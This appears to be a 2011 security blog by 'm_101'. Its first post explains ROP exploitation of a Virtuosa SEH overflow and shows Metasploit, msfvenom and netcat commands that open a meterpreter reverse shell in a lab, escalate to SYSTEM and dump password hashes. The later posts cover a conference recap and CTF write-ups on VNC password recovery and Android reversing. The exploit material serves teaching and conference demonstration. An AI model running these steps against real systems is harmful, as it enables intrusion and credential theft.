What is really important to understand while ropping is that we are constructing, patching/fixing/modifying stack elements in order to have a chain of functions calls using basic operation (that we call gadgets). We could also use it to construct a payload in a newly obtained WX memory or receive "traditionnal" payloads. ROP is thus mainly used as a "stager" in the sense that we first use it to get WX memory and then use a "normal" payload. ROP is turing complete as it is possible to do anything we want with it. We can write, save in memory and we can also have conditions! I suggest you to read the paper on ROP stack generation which also speak about it (LAHF and PUSHF).

Ok now on with the show :).
Since we are triggering a SEH BOF, we will have a ROP stack splitted in 2 parts: before and after the overwritten SEH handler. It is about calculating offsets and bytes used, nothing too heavy in there. What I did is that I mainly constructed my ROP payload and then I splitted it.

In the ROP stack I basically do the following:
- get ESP - set up arguments of LoadLibrary()
- resolve LoadLibrary()
- LoadLibrary("ws2_32.dll");
- resolve GetProcAddress()
- Set all GetProcAddress() function name argument
- end strings correctly (with NULL)
- fix wsastartup to WSAStartup and fix wsacleanup to WSACleanup
- Set hLibModule argument in all corresponding GetProcAddress() to "LoadLibrary("ws2_32.dll")"
- resolve imports
- then we have the part were we set up all the arguments of the payload
- we "execute" the payload
- we get a stager sent by metasploit that will get a payload (such as a DLL injector or something like that) or a payload (launch calc! :))

These things happen so fast that you should not forget to have listeners, handlers ready at the other end of the line ... or Virtuosa will just gracefully crash with you not getting anything ;).

How do you construct a ROP payload without getting lost?

Believe it or not, it's really easy to get lost while developing a ROP payload.
Thing is: we often wants to generate values that have the same properties (=> power of 2? divisible by x? etc). Or we want to be able to allocate multiple buffers?

The "secret ingredient" is the same as in programming: "divide to conquer". Create functions that does a specific thing using gadgets. This way you can re-use it. The problem it poses is about optimisation, but you either get ultra optimised ROP stack or well organized one. Your choice ;). In the future, tools to optimise and maintain ROP sploits will be developed anyway (MONA is the beginning, thanks to c0relanc0d3r and others as well).

How to avoid badchars in a ROP payload?

As you will see in the code, I created multiple function to check that I have addresses with good characters only. I used the principle of pointer encoding, in this case additive encoding (subtractive decoding) was used.

For NULLs, we can use these kind of instructions:
- XOR REG32, REG32
- MOV [REGa32], REGb32
- etc
For other values, you have to generate them. What is good to know is that most of the "flags" values used in function calls are power of 2, it is simply because it is easy to use multiple flags at the same time and extract them with logical/arithmetical operations: AND, XOR, ADD, SUB, etc.

Most of the time, these kind of instructions can be found:
- XCHG EAX, ESI
- XCHG EAX, ECX
- ADD ESI, ESI
- INC EAX
- XOR EAX, EAX
- MOV [ECX], EAX
With those instructions you can generate any values and patch the memory as you see fit.

There are other tricks to know too. You want to substract but you only have access to ADD? ... Think about integer overflow. The goal is not really to substract but to correctly compute a certain value. In the end, ADD and SUB works mostly the same in digital logic.

Others techniques to avoid badchars, instead of constantly fixing all the addresses you have, which use quite a big amount of pointers, I decided to use a retslide to shift to the addresses of interest and thus avoid any bad addresses.

In short:
- pointer encoding
- generating values
- integer overflows
- retslide

Other stuffs to know about ROPping

Most of the strings in Windows functions are NULL terminated (ASCII based) even though it supports UNICODE. You thus have to have correctly ended strings.
For that:
- XOR EAX, EAX
- MOV [ECX], EAX
These can be quite useful to fix the stack up.

While calling a function, the most common technique is to fix the stack up using patching instructions:
- MOV [ECX], EAX
You could also use PUSHAD which is kind of a ugly hack but it can be useful to know.

While calling a function, if it takes a string arguments, be sure that your string table is upper in memory (lower in the stack) as the function could end up crushing over your string table and make the call fail. It is often the case with Win32 API calls since it ends in the kernel and it ends up crushing a lot of stuff upper in the stack (lower in memory).

Moving around in our payload is mostly done with:
- XCHG EAX, ESP
It is quite an interesting instruction as using it cleverly, you could have infinite loops, branching, etc.
So before using that instruction, be sure to get ESP somewhere (using stuff like PUSHAD and POPS or PUSH ESP # POP REG32).

Ok you're lacking registers? Use memory!
Most of the gadgets use EAX, ECX and ESI, if you're stuck with registers, try using RW memory to save your value and recover it later.

How to use the sploit?

This sploit is sure not user friendly.
It is made for hacker alike anyway.
I could have done it without metasploit ... but it has so many convenient payloads ... why reinvent the wheel? ;)

Anyway here is the "manual": - Depending on the type of payload you're selecting (with or without network, without means it's usually a standalone payload that doesn't need a stager such as it is the case with calc) you'll either need 2 or 3 terminals on the host machine.

- First terminal: generating the file
$ ./msfconsole 

#    # ###### #####   ##    ####  #####  #       ####  # #####
##  ## #        #    #  #  #      #    # #      #    # #   #
# ## # #####    #   #    #  ####  #    # #      #    # #   #
#    # #        #   ######      # #####  #      #    # #   #
#    # #        #   #    # #    # #      #      #    # #   #
#    # ######   #   #    #  ####  #      ######  ####  #   #


       =[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 705 exploits - 358 auxiliary - 56 post
+ -- --=[ 224 payloads - 27 encoders - 8 nops
       =[ svn r13015 updated today (2011.06.23)

msf > use exploit/windows/fileformat/virtuosa 
msf exploit(virtuosa) > show options 

Module options (exploit/windows/fileformat/virtuosa):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.asx          yes       The file name
   LHOST                      yes       The listen address
   LPORT                      yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows XP SP3 English


msf exploit(virtuosa) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(virtuosa) > set LPORT 8080
LPORT => 8080
msf exploit(virtuosa) > exploit 

[*] Before SEH:
[*] String table size     : 100
[*] Pointers used         : 126 (504 bytes)
[*] Junk bytes used       : 288
[*] Padding size          : 96
[*] ROP stack size        : 1029
[*] Bytes before SEH write: -4

[*] Total:
[*] Pointers used         : 486 (1944 bytes)
[*] Junk bytes used       : 416
[*] ROP stack size        : 2597
[*] Creating 'msf.asx' file ...
[*] Generated output file /home/kurapix/.msf3/data/exploits/msf.asx
msf exploit(virtuosa) > 

Here the host and port will point at the machine with the listening netcat

- Second terminal: netcat listener (send payload or stager)
$ ./msfvenom --payload windows/meterpreter/reverse_tcp LHOST=192.168.56.1 --format raw | nc -v -l 8080
En fait je me suis rendu compte que c'est là où ma démo a merdé: j'avais oublié de spécifié le LHOST lors de mon talk.
Sous le coup du stress et de manque de temps, j'ai préféré passer à la suite du talk.
C'était la première fois que je faisais un talk devant autant de monde après tout.

- Third terminal: sending the payload if stager needed
$ ./msfconsole 

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 705 exploits - 358 auxiliary - 56 post
+ -- --=[ 224 payloads - 27 encoders - 8 nops
       =[ svn r13015 updated today (2011.06.23)

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(handler) > exploit 

[*] Started reverse handler on 0.0.0.0:4444 
[*] Starting the payload handler...

- Then you can launch Virtuosa and import the ASX file (and pawn it).
You will then get the following in the second terminal (netcat listener):
Connection from 192.168.56.101 port 8080 [tcp/http-alt] accepted
You will then get the following in the third terminal:
[*] Sending stage (749056 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1091) at Thu Jun 23 20:12:21 +0100 2011

meterpreter > getuid 
Server username: EXPERIEN-FB44F4\Administrator
meterpreter > getsystem 
...got system (via technique 1).
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ASPNET:1003:c0a59a9e0736c578ddde1757bd48098f:0aff8f664031790f6cf554a30d834161:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:611c44014cc419901607081e8472f214:c9c888b7f1894ba4b72503ca73afc10d:::
SUPPORT_388945a0?  :1002:aad3b435b51404eeaad3b435b51404ee:c0c37c4d63b49404638bb9898744285c:::
meterpreter > ps

Process list
============

 PID   Name              Arch  Session  User                           Path
 ---   ----              ----  -------  ----                           ----
 0     [System Process]                                                
 4     System            x86   0        NT AUTHORITY\SYSTEM            
 532   smss.exe          x86   0        NT AUTHORITY\SYSTEM            \SystemRoot\System32\smss.exe
 596   csrss.exe         x86   0        NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\csrss.exe
 620   winlogon.exe      x86   0        NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\winlogon.exe
 664   services.exe      x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\services.exe
 676   lsass.exe         x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\lsass.exe
 836   VBoxService.exe   x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\VBoxService.exe
 884   svchost.exe       x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\svchost.exe
 960   svchost.exe       x86   0        NT AUTHORITY\NETWORK SERVICE   C:\WINDOWS\system32\svchost.exe
 1052  svchost.exe       x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\System32\svchost.exe
 1108  svchost.exe       x86   0        NT AUTHORITY\NETWORK SERVICE   C:\WINDOWS\system32\svchost.exe
 1200  svchost.exe       x86   0        NT AUTHORITY\LOCAL SERVICE     C:\WINDOWS\system32\svchost.exe
 1616  spoolsv.exe       x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\spoolsv.exe
 1776  explorer.exe      x86   0        EXPERIEN-FB44F4\Administrator  C:\WINDOWS\Explorer.EXE
 1884  VBoxTray.exe      x86   0        EXPERIEN-FB44F4\Administrator  C:\WINDOWS\system32\VBoxTray.exe
 1896  ctfmon.exe        x86   0        EXPERIEN-FB44F4\Administrator  C:\WINDOWS\system32\ctfmon.exe
 2008  svchost.exe       x86   0        NT AUTHORITY\LOCAL SERVICE     C:\WINDOWS\system32\svchost.exe
 1316  alg.exe           x86   0        NT AUTHORITY\LOCAL SERVICE     C:\WINDOWS\System32\alg.exe
 828   wuauclt.exe       x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\wuauclt.exe
 1104  Virtuosa.exe      x86   0        EXPERIEN-FB44F4\Administrator  C:\Program Files\Virtuosa\Virtuosa.exe

meterpreter > 


If you want to use those kind of payloads: shell_reverse_tcp, meterpreter, etc. metasploit first send a stager then the corresponding payload. The thing is ... exploits/multi/handler only sends the payload and not the stager so you basically get a crash (ever tried to directly execute a DLL from its first byte? => crash, need a DLL injector or something like that). That is why we need the netcat listener which send the stager for those payloads.

For payloads such as calc, regedit, messagebox, etc, no stager needed, we directly get the payload from msfvenom.
For example for messagebox, you generate the file and then have that in the netcat listener terminal:
$ ./msfvenom --payload windows/messagebox ICON=WARNING TEXT="Hacked by m_101 :)" --format raw | nc -v -l 8080
Connection from 192.168.56.101 port 8080 [tcp/http-alt] accepted

You basically end up having a nice messagebox like this:


The sploit

Just so you know, for struct sockaddr_in, I used ugly hacks (since I couldn't find htons, ntohs, etc equivalent) so it should only work on x86 or x86_64 (due to endianness).

Link to the sploit: Virtuosa Phoenix Edition 5.2 Full ROP Connectback Stager .

Conclusion

By now, you should be quite convinced that we really do not need any code in our crafted file in order to do things. The question is more about the space we have at disposal that the possibilities ;).

For a first talk in front of so many people it did not go that bad.
Ok the demo failed and I panicked a bit about it I must admit haha.
Next time I'll prepare myself even more!
Video is the key ;).

We have seen many techniques concerning ROPping, hope it helps to get you along on this boat. It is not easy, it is not for everyone but it is without a doubt an essential technique to have in our arsenal of tools. I wonder what it is like to have ASLR+DEP bypass though and working only with offsets .... infoleaks? ... well ... not today.

Cheers,

m_101

lundi 20 juin 2011

[EN] NDH2011: Bilan

Hi folks!



NDH2011 is over!
It was awesome, there were more girls, more people, more talks, new sex toys (have you seen the crazy CTF machines? :)), etc.


The talks

There weren't that many technical conferences this year, some were refreshing, others almost killed me (especially the one on "Social security").

I've seen the following conferences:
- Hacking android for fun and profit - Damien Cauquil: Too bad they changed the planning and didn't update the website. I've seen only a part of it but it was really good, it went about Android security functionalities, etc, and a demo on a homemade tracking spyware.

- Reinventing Old School Security - Bruno Kerouanto: Wow! Refreshing! Awesome history of hacking stuffs :). Bluebox, démos, Apple II, etc. It would be awesome to have that kind of old school devices at NDH.

- Recherche de vulnérabilités en kernel Windows - Stéfan Le Berr: This one was pretty good actually. Stéfan talked about finding Windows kernel vulnerabilities using a fuzzing tool he created. His tool, "Zero Fuzz" was able to hook syscalls in order to fuzz them in parallel. Anyway, not a bad name for that kind of tools: ring 0 afterall.

I missed most of the "Hacking girls" talk :(. Hope there will be some videos posted somewhere.

This year I gave 2 conferences. One about an ISP and another about exploitation. It was quite an interesting experience.
I was quite stressed at the beginning of the first talk then afterward you get to like being on stage.
Being a speaker is about preparation after all, talking to a public, nothing more nothing less.
In the end, talking to 50 or 1000 people is mostly the same.
Just so you know if you want to do a talk: prepare a backup like a video! Yeah my demo failed :p. I checked and it was metasploit having some kind of dependency problem (netcat did receive my connection afterall ;)). If you are looking for my slides, here they are: Exploitation in a hostile world .
I just hope not being busted for the ISP conference, we do not and did not intend to do any harm. Our goal was to get it fix and nothing less, nothing more.

The CTF

After the conference we were greeted by some lateness for the CTF. We waited over 6 hours just to know that the last 2 teams last in rank in the prequals were disqualified due to technical problems.
Around midnight we were starting to get prepared to start the CTF ... which was cancelled. There were some teams (as ours) who did not get any DHCP or any connection at all.
In the end, it even demotivated us to play the public CTF (we did not even have to inject anything in the public WiFi since someone was pawning it ...). I've just looked a bit into the Crackme, it was about unpacking it using OEP (which was around PUSH OEP | RET) and then reversing the obfuscating function (XOR) to bruteforce the key to find what was the PNG image about. I didn't do the bruteforce part.

Too bad for the CTF, but well ... it happens. Computers are either working or not, we all know that. Best luck next year I hope :).

The rest

There were a lot of interesting workshops.
There was lockpicking, console hacking, msf, etc.

For those who could not get one, there were around 120 electronic badges such as those (the black one with the LEDs):

The goal is to decode the messages sent by the LEDs and it can be reprogrammed at will.
It is using an Atmel ATtiny2313V-10SU which is a nice little micro-controller with 2KB of memory and running at 10MHz.
There is 7 red LEDs (why not 8? It would have been 1 byte), a small battery and a 6 PINs connector to reprogram it.
I'm waiting to get my ATTiny programmer before playing with it :).

Conclusion

Well, I really enjoyed it, really awesome that it was at one of Disney convention center!
We had more room, more talks, more people, and most of all it was fun.

Thanks folks for feedback (and help, Latzaf, etc) on my exploitation conference,

Thanks to my team mates for the ISP conference :).

Thanks to the organisators (Heurs, Virtualabs, Trance, CrashFr, Olive, and all Sysdream/HZV people :)),

If you are looking for photos, I took some: Night Da Hack 2011 Photos .

See you next year,

m_101

dimanche 12 juin 2011

[NDH] Are you ready?

Hello everyone :)!


This will be my first conference as a talker so be tolerant ;).

I will be giving a conference on modern exploitation at NDH 2001 (Night Da Hack 2011) on the 18th of June.
The conference will be in French with English slides. I expect to see more French people than English speaking people like any other NDH I have been to. Moreover, I am more comfortable with French even thought my English is not that bad.

Here is forth my proposal:

Proposal

Software hacking and counter measures have gone a long way since the dis-
covery of hacking techniques. Techniques have improved over time and made
exploitation harder and harder, most traditional exploits do not work any-
more nowadays.

Since we are speaking about software hacking, a short review of exploita-
tion techniques will be done. It will include format strings and buffer based
overflows.

Software hacking techniques are now well known for most of them, more
might be discovered. The need of mitigation arose quickly with highly net-
worked environments. One of the first mitigation to be implemented were
security cookies, followed by NX and then ASLR for the major ones. Other
protections such as FORTIFY SOURCE have also been implemented. A
brief look into these protections will be given.

The use of new and advanced techniques have emerged and are developed
either by attackers or academics in order to bypass these new mitigation
schemes against software exploitation. Such techniques includes code re-use
techniques such as Return Oriented Programming, information leaks, heap
spray or SEH (stack cookies).

A thought about the future of software hacking and counter measures will
also be given.

So what is it about?

It is mostly about the requirement needed for an exploit developer to succeed in its task of writing reliable exploit working on the latest Operating Systems and compilers. This is effectively needed as pentests could be carried out more efficiently.

The presented protections:
- DEP/NX: Non executable pages
- ASLR: Address Space Layout Randomization, randomization of pages
- SafeSEH: "Basic" SEH protection ("replaced by" or "upgraded to" SEHOP in Vista SP1)
- Stack Cookies (GS mostly, StackGuard does not work exactly the same): Protection of return address (SEIP) against buffer overflows attacks

All of their bypass will be explained.

A demo on bypassing DEP/NX will be done, it includes a full ROP multistage exploit I developed especially for the occasion.

And finally some thoughts will be given on the future of exploitation and mitigations. It is based on current research, projects and papers so it might not be that far from reality but anyone who try to predict the future will somehow fail in some way. So it is more there to give ideas on what might be good fields in exploitation research.

Conclusion

Waiting to get your hands dirty and having practical knowledge on software exploitation?
It might be a good subject to speak about, but 30 minutes to speak about it is just not enough at all! So don't expect too much technicality even though I will try to.
A lot of stuff had to be taken out in order to make the talk fit the time given, it does not really matter as the most important protection are presented and explained. For those who do not know anything about exploitation, it might be a good (hard) introduction to the field.

Do not hesitate to ask questions ;) (the talk = 30 minutes of talk and 10-15 minutes of questions approximately ;)).

And even more! Do not hesitate with the beers, fun and hacks!
What's a conference if we do not enjoy it? ... work ... ;)

Hope to see you there,

Cheers,

m_101

lundi 4 avril 2011

Prequals NDH2011: Forensic100 (Windows Memory Analysis)

Hi!

Today we are going to look after the forensic 100 challenge of the prequals :).
We were offered a memory dump to analyze.

Tools

The needed tools for the analysis are basically the following:
Volatility: Windows Memory Analysis
VolReg: Volatility plugin for registry analysis
VNC Password Dumper: VNC Password decrypter

Analysis

We first need to know what operating system dump we are analysing:
$ python ./volatility ident -f ../Desktop/dump.raw 
              Image Name: ../Desktop/dump.raw
              Image Type: Service Pack 2
                 VM Type: pae
                     DTB: 0xae2000
                Datetime: Thu Mar 10 14:28:56 2011


Ok the dump is recognized to be a Windows XP SP2 RAM dump (you can check it using strings ;)).
We are after a VNC password but we would like to know which VNC software is used:
$ python ./volatility pslist -f ../Desktop/dump.raw 
Name                 Pid    PPid   Thds   Hnds   Time  
System               4      0      53     258    Thu Jan 01 00:00:00 1970  
smss.exe             544    4      3      21     Thu Mar 10 13:02:27 2011  
csrss.exe            608    544    11     319    Thu Mar 10 13:02:29 2011  
winlogon.exe         632    544    19     440    Thu Mar 10 13:02:29 2011  
services.exe         684    632    16     338    Thu Mar 10 13:02:30 2011  
lsass.exe            696    632    19     328    Thu Mar 10 13:02:30 2011  
svchost.exe          860    684    17     210    Thu Mar 10 13:02:31 2011  
svchost.exe          928    684    9      232    Thu Mar 10 13:02:31 2011  
svchost.exe          1020   684    59     1148   Thu Mar 10 13:02:31 2011  
svchost.exe          1064   684    4      74     Thu Mar 10 13:02:31 2011  
svchost.exe          1300   684    14     203    Thu Mar 10 13:02:33 2011  
spoolsv.exe          1472   684    10     108    Thu Mar 10 13:02:34 2011  
explorer.exe         1580   1564   11     446    Thu Mar 10 13:02:34 2011  
ctfmon.exe           1664   1580   1      66     Thu Mar 10 13:02:35 2011  
alg.exe              500    684    6      104    Thu Mar 10 13:02:58 2011  
wscntfy.exe          532    1020   1      36     Thu Mar 10 13:02:59 2011  
winvnc4.exe          1696   684    3      67     Thu Mar 10 13:09:47 2011  
mmc.exe              1512   1580   7      241    Thu Mar 10 13:28:14 2011  
wmiprvse.exe         1460   860    13     204    Thu Mar 10 13:28:33 2011

We now know that WinVNC 4 was used, at this point we can dump the memory of the process and the executable itself. But no point, we need to know the registry key under which the password might be stored:
$ strings -e l ../Desktop/dump.raw | grep -i vnc | grep -i hkey
Poste de travail\HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4
Poste de travail\HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4
Poste de travail\HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4

Now on with the registry analysis, we run hivescan to get hive offsets.
$ python ./volatility hivescan -f ../Desktop/dump.raw Offset          (hex)          
44759904        0x2aafb60      
44765192        0x2ab1008      
47600264        0x2d65288      
49462112        0x2f2bb60      
57268056        0x369d758      
117583880       0x7023008      
117586784       0x7023b60      
138480480       0x8410b60      
140337160       0x85d6008      
144967512       0x8a40758      
145000296       0x8a48768      
146788360       0x8bfd008      
167239688       0x9f7e008      

We use the first offset with hivelist to show where hives are located at.
$ python ./volatility hivelist -f ../Desktop/dump.raw -o 0x2aafb60
Address      Name
0xe1809008   \Documents and Settings\eleve\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1986008   \Documents and Settings\eleve\NTUSER.DAT
0xe17a9768   \Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe179b758   \Documents and Settings\LocalService\NTUSER.DAT
0xe1770008   \Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe175fb60   \Documents and Settings\NetworkService\NTUSER.DAT
0xe13ffb60   \WINDOWS\system32\config\software
0xe14ab008   \WINDOWS\system32\config\default
0xe14abb60   \WINDOWS\system32\config\SAM
0xe14e4758   \WINDOWS\system32\config\SECURITY
0xe12e8288   [no name]
0xe1035b60   \WINDOWS\system32\config\system
0xe102e008   [no name]

Since we now that we are interested by "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4", we are going to work directly with the SOFTWARE hive.
$ python ./volatility printkey -f ../Desktop/dump.raw -o 0xe13ffb60 "RealVNC\\WinVNC4"
Key name: WinVNC4 (Stable)
Last updated: Thu Mar 10 13:10:51 2011

Subkeys:

Values:
REG_BINARY Password   : 
0000   DA 6E 31 84 95 77 AD 6B                            .n1..w.k
 (Stable)
REG_SZ    SecurityTypes : VncAuth (Stable)
REG_SZ    ReverseSecurityTypes : None (Stable)
REG_DWORD QueryConnect : 0 (Stable)
REG_DWORD QueryOnlyIfLoggedOn : 0 (Stable)

Here we are, we got the encrypted form of the password, now is time to decrypt it using vncpwdump:

$ wine vncdump/vncpwdump.exe -k "DA6E31849577AD6B"

VNCPwdump v.1.0.6 by patrik@cqure.net
-------------------------------------
Password: secretpq

As a bonus, we can also decrypt it using Cain&Abel:

Hope you liked it,

m_101

- Plugins: Volatility plugins
- Tool: Memoryze
- Write-up: Forensic100

Prequals NDH2011: RCE200 (Android)

On va commencer par l'épreuve de reversing Android.
C'était la première fois que je jouais avec de l'Android, seems fun :).

Introduction

On avait à disposition une simple application dans laquelle il nous fallait parler.

Au lancement de l'application, nous somme accueillis par le screen suivant (sans le petit texte que j'ai ajouté :)):

 Il fallait prononcer un mot correctement pour obtenir le flag:
Non ce n'est pas le flag :).
J'ai pas réussi à l'obtenir par ce biais.

Pour ce challenge, plusieurs tools étaient disponibles, tel que Dex2Jar ou APKTool par exemple.
Ils ont plusieurs avantages et inconvénients, Dex2Jar nous sort du bytecode Java qu'on peut décompiler avec JD mais nous n'avons pas la possibilitée de facilement modifier l'APK.
APKTool nous permet de modifier l'APK et de le reconstruire correctement, par contre pas forcément évident à trouver la routine qui nous intéresse (à coup de grep ça peut se faire :)).

J'ai fais usage de la premire méthode pour analyser le programme:
dex2jar.sh RCE200.apk
jd-gui RCE200.apk.dex2jar.jar

Et le deuxième tool pour ajouter mon texte et patcher une condition afin de montrer un hash tous le temps (normalement il doit y avoir un affichage que lorsque le bon mot est prononcé).
Je me suis donc fais 2 helpers pour manipuler facilement le dump smali obtenu:

depack.sh
#!/bin/sh

cd apktool
java -jar apktool.jar d ../$1
mv `echo $1 | cut -d '.' -f 1` ../

pack.sh
#!/bin/sh

# if android key does not exist, we create one
if [ ! -f ~/keystore-android ]
then
    keytool -genkeypair -v -keystore ~/keystore-android -alias rce200 -keyalg RSA -keysize 2048
fi

#
if [ -f $1.aligned.apk ]
then
    rm $1.aligned.apk
fi

cd apktool
export PATH=./:$PATH
java -jar apktool.jar b ../$1
cd ../
jarsigner -verbose -keystore ~/keystore-android $1/dist/$1.apk rce200
cp $1/dist/$1.apk ./$1.rebuilt.apk
./zipalign -v 4 $1.rebuilt.apk $1.aligned.apk
rm $1.rebuilt.apk


Let's reverse it!

Après avoir transformer notre .apk and .jar, nous ouvrons celui-ci avec jd-gui et on se retrouve avec 4 sources .java: ReverseMe.java, a.java, b.java et c.java.

Le premier fichier (ReverseMe.java):

package ndh.prequals.rce;

import android.app.Activity;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.widget.Button;
import android.widget.TextView;
import java.util.ArrayList;
import java.util.List;

public class ReverseMe extends Activity
{
  private a a = null;
  private TextView b = null;

  protected void onActivityResult(int paramInt1, int paramInt2, Intent paramIntent)
  {
    if ((paramInt1 == 1234) && (paramInt2 == -1))
    {
      ArrayList localArrayList = paramIntent.getStringArrayListExtra("android.speech.extra.RESULTS");
      if ((!localArrayList.isEmpty()) && (a.b((String)localArrayList.get(0))))
      {
        TextView localTextView = this.b;
        String str = a.a((String)localArrayList.get(0));
        localTextView.setText(str);
      }
    }
    super.onActivityResult(paramInt1, paramInt2, paramIntent);
  }

  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903040);
    Button localButton = (Button)findViewById(2131034114);
    TextView localTextView = (TextView)findViewById(2131034113);
    this.b = localTextView;
    PackageManager localPackageManager = getPackageManager();
    String str1 = c.d();
    Intent localIntent = new Intent(str1);
    if (localPackageManager.queryIntentActivities(localIntent, 0).size() != 0)
    {
      String str2 = c.b();
      String str3 = Build.PRODUCT;
      if (!str2.equals(str3))
      {
        b localb = new b(this);
        localButton.setOnClickListener(localb);
      }
    }
    a locala = new a();
    this.a = locala;
  }
}

onCreate() va mettre en place les différents éléments de l'application à sa création comme l'image, le texte et le button.
onActivityResult() est le handler qui va afficher notre flag si nous prononçons le bon mot. (Patchez la condition pour toujours avoir un hash d'affiché :)).

Le deuxième fichier (a.java):

package ndh.prequals.rce;

import android.os.Build;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public final class a
{
  public static String a(String paramString)
  {
    try
    {
      MessageDigest localMessageDigest = MessageDigest.getInstance(c.e());
      byte[] arrayOfByte = paramString.getBytes();
      localMessageDigest.update(arrayOfByte);
      localObject1 = localMessageDigest.digest();
      StringBuffer localStringBuffer1 = new StringBuffer();
      int i = 0;
      int j = localObject1.length;
      if (i >= j)
      {
        localObject1 = localStringBuffer1.toString();
        return localObject1;
      }
      String str;
      for (Object localObject2 = Integer.toHexString(localObject1[i] & 0xFF); ; localObject2 = str)
      {
        if (((String)localObject2).length() >= 2)
        {
          StringBuffer localStringBuffer2 = localStringBuffer1.append((String)localObject2);
          i += 1;
          break;
        }
        str = "0" + (String)localObject2;
      }
    }
    catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
    {
      while (true)
        Object localObject1 = null;
    }
  }

  public static boolean b(String paramString)
  {
    try
    {
      MessageDigest localMessageDigest = MessageDigest.getInstance(c.c());
      byte[] arrayOfByte1 = paramString.getBytes();
      localMessageDigest.update(arrayOfByte1);
      byte[] arrayOfByte2 = localMessageDigest.digest();
      StringBuffer localStringBuffer1 = new StringBuffer();
      String str1 = c.b();
      String str2 = Build.PRODUCT;
      if (str1.equals(str2))
        StringBuffer localStringBuffer2 = localStringBuffer1.append(65);
      int i = 0;
      int j = arrayOfByte2.length;
      if (i >= j)
      {
        String str3 = localStringBuffer1.toString();
        String str4 = c.a();
        bool = str3.equals(str4);
        return bool;
      }
      String str5;
      for (Object localObject = Integer.toHexString(bool[i] & 0xFF); ; localObject = str5)
      {
        if (((String)localObject).length() >= 2)
        {
          StringBuffer localStringBuffer3 = localStringBuffer1.append((String)localObject);
          i += 1;
          break;
        }
        str5 = "0" + (String)localObject;
      }
    }
    catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
    {
      while (true)
        boolean bool = false;
    }
  }
}

La méthode a() nous renvoi le hash sha1 de la chaine qu'on met en paramètre et b() nous renvoi un hash MD5.

Le troisième fichier (b.java):
package ndh.prequals.rce;

import android.content.Intent;
import android.view.View;
import android.view.View.OnClickListener;

final class b
  implements View.OnClickListener
{
  b(ReverseMe paramReverseMe)
  {
  }

  public final void onClick(View paramView)
  {
    ReverseMe localReverseMe = this.a;
    if (paramView.getId() == 2131034114)
    {
      String str = c.d();
      Intent localIntent1 = new Intent(str);
      Intent localIntent2 = localIntent1.putExtra("android.speech.extra.LANGUAGE_MODEL", "free_form");
      Intent localIntent3 = localIntent1.putExtra("android.speech.extra.PROMPT", "Enter password");
      localReverseMe.startActivityForResult(localIntent1, 1234);
    }
  }
}

Cette classe a une unique méthode qui va lancer la boîte de dialogue de reconnaissance vocale.

Le dernier fichier (c.java):
package ndh.prequals.rce;

public final class c
{
  private static byte[] a = { 90, 5, 88, 88, 13, 13, 90, 90, 10, 4, 9, 11, 93, 90, 11, 15, 93, 95, 5, 93, 5, 8, 8, 88, 90, 95, 9, 14, 90, 8, 13, 94 };
  private static byte[] b = { 91, 83, 83, 91, 80, 89, 99, 79, 88, 87 };
  private static byte[] c = { 113, 120, 9 };
  private static byte[] d = { 93, 82, 88, 78, 83, 85, 88, 18, 79, 76, 89, 89, 95, 84, 18, 93, 95, 72, 85, 83, 82, 18, 110, 121, 127, 115, 123, 114, 117, 102, 121, 99, 111, 108, 121, 121, 127, 116 };
  private static byte[] e = { 111, 116, 125, 17, 13 };

  public static String a()
  {
    return a(a);
  }

  private static String a(byte[] paramArrayOfByte)
  {
    byte[] arrayOfByte = new byte[paramArrayOfByte.length];
    int i = 0;
    while (true)
    {
